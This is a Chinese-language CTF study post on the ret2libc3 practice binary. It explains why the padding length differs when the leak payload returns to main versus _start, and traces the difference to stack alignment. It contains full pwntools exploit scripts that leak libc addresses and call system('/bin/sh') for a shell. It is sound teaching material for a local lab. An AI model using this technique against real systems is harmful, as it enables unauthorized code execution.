(技术积累)Ret2libc中的main与_start函数

Ret2libc中的main与_start函数

1. 题目背景

Ret2libc3练习(ret2libc3-CTF Wiki)是一个简单的return to libc练习题,其通过向程序输入两次payload来get shell,第一次payload用于获取__libc_start_main函数真实加载地址,第二次payload通过该加载地址计算出libc中的偏移,进而调用system函数:

第一个payload:

#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts'] # 0x08048460
libc_start_main_got = ret2libc3.got['__libc_start_main'] # 0x0804a024
main = ret2libc3.symbols['main'] # 0x08048618

payload1 = b'a'*112 + p32(puts_plt) + p32(main) + p32(libc_start_main_got)
sh.recv()
sh.sendline(payload1)
libc_start_main_addr = u32(sh.recv(4))
base_addr = libc_start_main_addr-libc_start_main_offset
print("[INFO]libc_start_main_addr:",hex(libc_start_main_addr))
print("[INFO]base_addr = ",hex(base_addr))

第二个payload(与第一个payload在同一个文件):

system_addr = base_addr + system_offset
str_bin_sh_addr = base_addr + str_bin_sh_offset

print("get shell")

payload2 = b'A'*112 + p32(system_addr) + p32(0xdeadbeef) + p32(str_bin_sh_addr)
sh.sendline(payload2)

sh.interactive()

这里发现,如果payload1选择返回main函数,则payload2就是b'A' * 104,如果选择_start函数返回,则payload2就是b'A' * 112

2. 问题解析

网上的资料解析如下:

问题是,这个操作main函数里也有:

并且该解释也没有说明payload2具体填充时到底是怎么错位了8 bit的。

我们注意到_start函数和main函数都有如下语句and esp, 0FFFFFFF0h

但由于从_start到main涉及到了新函数栈的调用以及__libc_start_main调用,_start函数中对esp第八位置零作用不大(可能)。

注意main函数开头的三句指令:

push    ebp
mov     ebp, esp
and 	esp, 0FFFFFFF0h

这里令ebp=esp,并将esp的低八位置零,可能存在三种情况:

ESP低八位 三句指令后
0 esp == ebp
4 ebp == esp + 4
8 ebp == esp + 8

这里分情况讨论再次进入main函数时的场景,注意再次进入main函数后,栈帧重新生成,数组S重新分配:

  1. ESP低8位为8:

    当运行至③时栈的结构如下:

    可以看见由于esp比ebp开始就少了8字节,最后数组s的首地址距离返回地址108+4=112字节,payload2需要填充112字节。

    调试验证:

    从如果payload1从_start函数返回,则再次进入main函数时esp的后八位就为8,所以payload2需要填充112字节。

    1. ESP低8位为0:

      同理,如果第八位为0则payload2就填充128-28+4=104字节。如果payload1从man函数返回时,就是这种情况:

    2. ESP低8位为4:

      如果ESP低8位为4(虽然此题没有这种情况),可以预见payload2需要填充128+4-28+4=108字节,使用IDA调试更改这个值来验证:

综上可以发现,造成不同payload长度的原因就是因为main函数开头构造栈帧时有一句特殊的and esp, 0FFFFFFF0h,从而导致不同的esp初始值需要不同的填充长度。

3. 资料

from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
libc_start_main_offset = 0x01ade0

#print hex(puts_plt), hex(libc_start_main_got), hex(main)
#print "leak libc_start_main_got addr and return to main again"
payload = b'A' * 112 + p32( puts_plt) + p32(main) + p32(libc_start_main_got)
sh.sendlineafter(b'Can you find it !?', payload)

#print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
print("libc_start_main_addr = ",hex(libc_start_main_addr))
libc = ret2libc3.libc
libc.address = libc_start_main_addr - libc.symbols['__libc_start_main']
print("libc_start_main_addr = ",hex(libc_start_main_addr))
#print("libc.symbols['__libc_start_main'] = ",hex(libc.symbols['__libc_start_main']))
system_addr = libc.symbols['system']
print("system_addr",hex(system_addr))
print("system_offset = ",hex(system_addr-libc_start_main_addr+libc_start_main_offset))
base_addr = libc_start_main_addr - libc_start_main_offset
a  = libc.search(b'/bin/sh')
binsh_addr = 0
for i in a:
    binsh_addr = i
print("bin_sh_offset = ",hex(binsh_addr-base_addr))
#print "get shell"
#sh.recvuntil(b'Can you find it !?')
payload = b'A' * 104 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
sh.sendline(payload)

sh.interactive()